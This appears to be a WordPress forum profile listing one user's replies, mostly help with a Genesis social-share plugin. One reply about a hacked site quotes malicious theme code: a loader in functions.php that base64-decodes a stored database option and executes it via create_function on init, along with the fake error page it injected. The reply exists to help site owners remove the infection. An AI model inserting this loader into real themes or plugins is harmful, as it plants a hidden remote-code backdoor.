ScorpionGod
Forum Replies Created
-
Forum: Plugins
In reply to: [SEO Data Transporter] Rank MathI’m also voting for this one.
I’m too using Manual UA method for my personal websites and mostly Authentication method for my customer sites. Would love to get both options back again.
Forum: Fixing WordPress
In reply to: Check the URL for errors message appearing on all my blog pages@sterndata Just letting you know, that my reply (which I can’t find here now) actually solves this problem. Have a look at it again. It happens on compromised/hacked websites.
Forum: Fixing WordPress
In reply to: Check the URL for errors message appearing on all my blog pagesHi guys,
So I had this problem for one of my client sites today and I too had that exact code @jtrue75 posted above. However, once I deactivated the Theme those codes went away.Then after searching every possible way, I searched for base64 codes and found this code at the end of functions.php
/** * Theme localization */ load_theme_textdomain( 'realto', get_template_directory() . '/languages' ); $locale = get_locale(); $locale_file = get_template_directory() . "/languages/$locale.php"; if ( is_readable($locale_file) ) require_once($locale_file); add_action( 'init', create_function( '', @join( "\n", array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) ); add_action( 'init', create_function( '', @join( "\n", array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) );
Then this code output the following HTML codes where the_content is used.
<html><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>Page Not Found</title><style>html { height: 100%; width: 100%; } body { position: absolute; width: 100%; margin: 0; top: 20%; font-family: Verdana, Geneva, sans-serif; text-align: center; } h1 { font-size: 32px; margin-bottom: 22px; } h1, h3 { font-weight: normal; color: #4E4E4E; } h3 { font-size: 19px; margin-left: auto; margin-right: auto; }</style><script src="embeddedErrorPage.js?708hoiacggua3jxbg5d902uik9"></script></head></html><body><h1>The page you were looking for could not be found.</h1><h3>Check the URL for errors.</h3></body>
This was the DB entry called by the above base64 code.
[malware code removed – please don’t post that here.]
Simply removing or commenting out the the base64 code at the functions.php file is enough. Hope this helps everybody.
Kind regards,
ScorpionGod- This reply was modified 6 years, 8 months ago by Steven Stern (sterndata).
Forum: Themes and Templates
In reply to: [Themify Base] How to hide page title?Hey,
You can follow above solution, but it’s always good to keep the title.
You can also hide the Page Titles using CSS.Find the CSS class used by your title using Firebug and setup a display:none; for that class. For example your site’s page titles can be hidden like this,
.content_box h2 { display: none; }
I’m also searching a better and automatic solution for this issue you’re facing. WP Smush.it does optimize images, but not to the maximum level for each image.
That’s why Google PageSpeed Tool shows few images that can optimize further. As a manual solution for this issue, you can use GTMetrix or Google PageSpeed Browser addon to get each optimized image one by one.
This manual method is not good for performance optimization projects, because it takes lot of time for sites that contain lots of images.
Can developers of WP Smush.it add the image optimization engine, system used by Google PageSpeed Tool?
That’d be perfectly appreciated.
Thanks,
Shyam ChathurangaForum: Plugins
In reply to: [Genesis Optimized Social Share] How to change the widget position?Hi, That’s because WP Related Posts widget is outputted just after the content. You can fix it by changing below line.
add_action( 'genesis_entry_footer', 'optimized_counters_html5', 1 );
Change above one to,
add_action( 'genesis_after_entry_content', 'optimized_counters_html5', 1 );
You’d need to find the right number for 1 above. I can’t say it without checking myself. So you find it.
Forum: Plugins
In reply to: [Genesis Optimized Social Share] [Request] Google plus button?Hi,
You can change the Google+ Share button to +1 Tag button by doing a simple change.echo '<div class="socialbox"><div class="g-plus" data-action="share" data-annotation="vertical-bubble" data-height="60"></div></div>';
Change above code to this one
echo '<div class="socialbox"><div class="g-plusone" data-size="tall"></div></div>';
Forum: Plugins
In reply to: [Genesis Optimized Social Share] display plugin in custom posts?Thanks for checking my plugin. Currently it works only on Single Posts
But you can make it to work on all pages, posts, custom posts etc by taking the social buttons out side below codeif ( is_single() ) { echo '<!-- Counters by Genesis Optimized Social Share Plugin -->'; echo '<div id="optimizedsocial">'; echo '<div class="socialbox">'; echo '<div class="fb-like" data-href="' . get_permalink( $post->ID ) . '" data-send="false" data-layout="box_count" data-show-faces="false"></div></div>'; echo '<div class="socialbox"><a rel="nofollow" href="https://twitter.com/share" data-url="' . get_permalink( $post->ID ) . '" data-text="' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-count="vertical" class="twitter-share-button">Tweet</a></div>'; echo '<div class="socialbox"><div class="g-plus" data-action="share" data-annotation="vertical-bubble" data-height="60"></div></div>'; echo '<div class="socialbox pinterest"><a class="pin" href="https://www.pinterest.com/pin/create/button/?url=' . get_permalink( $post->ID ) . '&description=' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-pin-do="buttonPin" count-layout="vertical" data-pin-config="above">PinIt</a></div>'; echo '<div class="clear"></div>'; echo '</div>'; echo '<!-- Counters by Genesis Optimized Social Share Plugin End -->'; }
Remove the top
if ( is_single() ) {
and bottom}
. Then save the plugin and it should work fine on all pages.Forum: Plugins
In reply to: [Genesis Optimized Social Share] Counters in PagesHi,
Thanks for your comment.Yes, I have planned to release a new version with many features, but currently busy with few projects. As soon as I get the right time, I’ll do that.
You can add counters on Pages & Posts by changing this line of code. I assume you’re using a HTML5 Genesis Theme.
//* Display Optimized Social Share Counters HTML-5 Themes if ( $genesis_html5_check = true ) { add_action( 'genesis_entry_footer', 'optimized_counters_html5', 1 ); function optimized_counters_html5() { if ( is_single() ) { echo '<!-- Counters by Genesis Optimized Social Share Plugin -->'; echo '<div id="optimizedsocial">'; echo '<div class="socialbox">'; echo '<div class="fb-like" data-href="' . get_permalink( $post->ID ) . '" data-send="false" data-layout="box_count" data-show-faces="false"></div></div>'; echo '<div class="socialbox"><a rel="nofollow" href="https://twitter.com/share" data-url="' . get_permalink( $post->ID ) . '" data-text="' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-count="vertical" class="twitter-share-button">Tweet</a></div>'; echo '<div class="socialbox"><div class="g-plus" data-action="share" data-annotation="vertical-bubble" data-height="60"></div></div>'; echo '<div class="socialbox pinterest"><a class="pin" href="https://www.pinterest.com/pin/create/button/?url=' . get_permalink( $post->ID ) . '&description=' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-pin-do="buttonPin" count-layout="vertical" data-pin-config="above">PinIt</a></div>'; echo '<div class="clear"></div>'; echo '</div>'; echo '<!-- Counters by Genesis Optimized Social Share Plugin End -->'; } } }
Above code to this one
//* Display Optimized Social Share Counters HTML-5 Themes if ( $genesis_html5_check = true ) { add_action( 'genesis_entry_footer', 'optimized_counters_html5', 1 ); function optimized_counters_html5() { echo '<!-- Counters by Genesis Optimized Social Share Plugin -->'; echo '<div id="optimizedsocial">'; echo '<div class="socialbox">'; echo '<div class="fb-like" data-href="' . get_permalink( $post->ID ) . '" data-send="false" data-layout="box_count" data-show-faces="false"></div></div>'; echo '<div class="socialbox"><a rel="nofollow" href="https://twitter.com/share" data-url="' . get_permalink( $post->ID ) . '" data-text="' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-count="vertical" class="twitter-share-button">Tweet</a></div>'; echo '<div class="socialbox"><div class="g-plus" data-action="share" data-annotation="vertical-bubble" data-height="60"></div></div>'; echo '<div class="socialbox pinterest"><a class="pin" href="https://www.pinterest.com/pin/create/button/?url=' . get_permalink( $post->ID ) . '&description=' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-pin-do="buttonPin" count-layout="vertical" data-pin-config="above">PinIt</a></div>'; echo '<div class="clear"></div>'; echo '</div>'; echo '<!-- Counters by Genesis Optimized Social Share Plugin End -->'; } }
Let me know, if you have any more questions.
You’ve put double closing Divs. That’s the error. Try this code now.
echo '<!-- Counters by Genesis Optimized Social Share Plugin -->'; echo '<div id="optimizedsocial">'; echo '<div class="socialbox">'; echo '<div class="fb-like" data-href="' . get_permalink( $post->ID ) . '" data-send="false" data-layout="box_count" data-show-faces="false"></div>'; echo '<div class="fb-share-button" data-href="' . get_permalink( $post->ID ) . '" data-type="box_count"></div>'; echo '<div class="socialbox"><a rel="nofollow" href="https://twitter.com/share" data-url="' . get_permalink( $post->ID ) . '" data-text="' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-count="vertical" class="twitter-share-button">Tweet</a></div>'; echo '<div class="socialbox"><div class="g-plus" data-action="share" data-annotation="vertical-bubble" data-height="60"></div></div>'; echo '<div class="socialbox pinterest"><a class="pin" href="https://www.pinterest.com/pin/create/button/?url=' . get_permalink( $post->ID ) . '&description=' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-pin-do="buttonPin" count-layout="vertical" data-pin-config="above">PinIt</a></div>'; echo '<div class="clear"></div>'; echo '</div>'; echo '<!-- Counters by Genesis Optimized Social Share Plugin End -->'; } } } //* XHTML Genesis Theme Support add_action( 'genesis_after_post', 'optimized_counters', 1 ); function optimized_counters() { if ( is_single() ) { echo '<!-- Counters by Optimized Social Share Plugin -->'; echo '<div id="optimizedsocial">'; echo '<div class="socialbox">'; echo '<div class="fb-like" data-href="' . get_permalink( $post->ID ) . '" data-send="false" data-layout="box_count" data-show-faces="false"></div>'; echo '<div class="fb-share-button" data-href="' . get_permalink( $post->ID ) . '" data-type="box_count"></div>'; echo '<div class="socialbox"><a rel="nofollow" href="https://twitter.com/share" data-url="' . get_permalink( $post->ID ) . '" data-text="' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-count="vertical" class="twitter-share-button">Tweet</a></div>'; echo '<div class="socialbox"><div class="g-plus" data-action="share" data-annotation="vertical-bubble" data-height="60"></div></div>'; echo '<div class="socialbox pinterest"><a class="pin" href="https://www.pinterest.com/pin/create/button/?url=' . get_permalink( $post->ID ) . '&description=' . urlencode( strip_tags( get_the_title( $post->ID ) ) ) . '" data-pin-do="buttonPin" count-layout="vertical" data-pin-config="above">PinIt</a></div>'; echo '<div class="clear"></div>'; echo '</div>'; echo '<!-- Counters by Optimized Social Share Plugin End -->';
Hey,
Error should be the addition by you. Are you sure there is no any errors in your code addition? Design break can happen when your code is wrong. Please check and update the thread.If possible, paste the current code in the plugin after you changed it.
Forum: Plugins
In reply to: [Genesis Optimized Social Share] Added FB Share but doesnt have a counter boxOkay change the code again to below one.
echo '<div class="fb-share-button" data-href="' . get_permalink( $post->ID ) . '" data-type="box_count"></div></div>';
Forum: Plugins
In reply to: [Genesis Optimized Social Share] Added FB Share but doesnt have a counter boxYou mean by “attracting” that you like it or want to change it?
Forum: Plugins
In reply to: [Genesis Optimized Social Share] Facebook like overlay not working?I checked the plugin again on my test site and it works fine. Can I see your website? So I can check for any errors in your Theme CSS.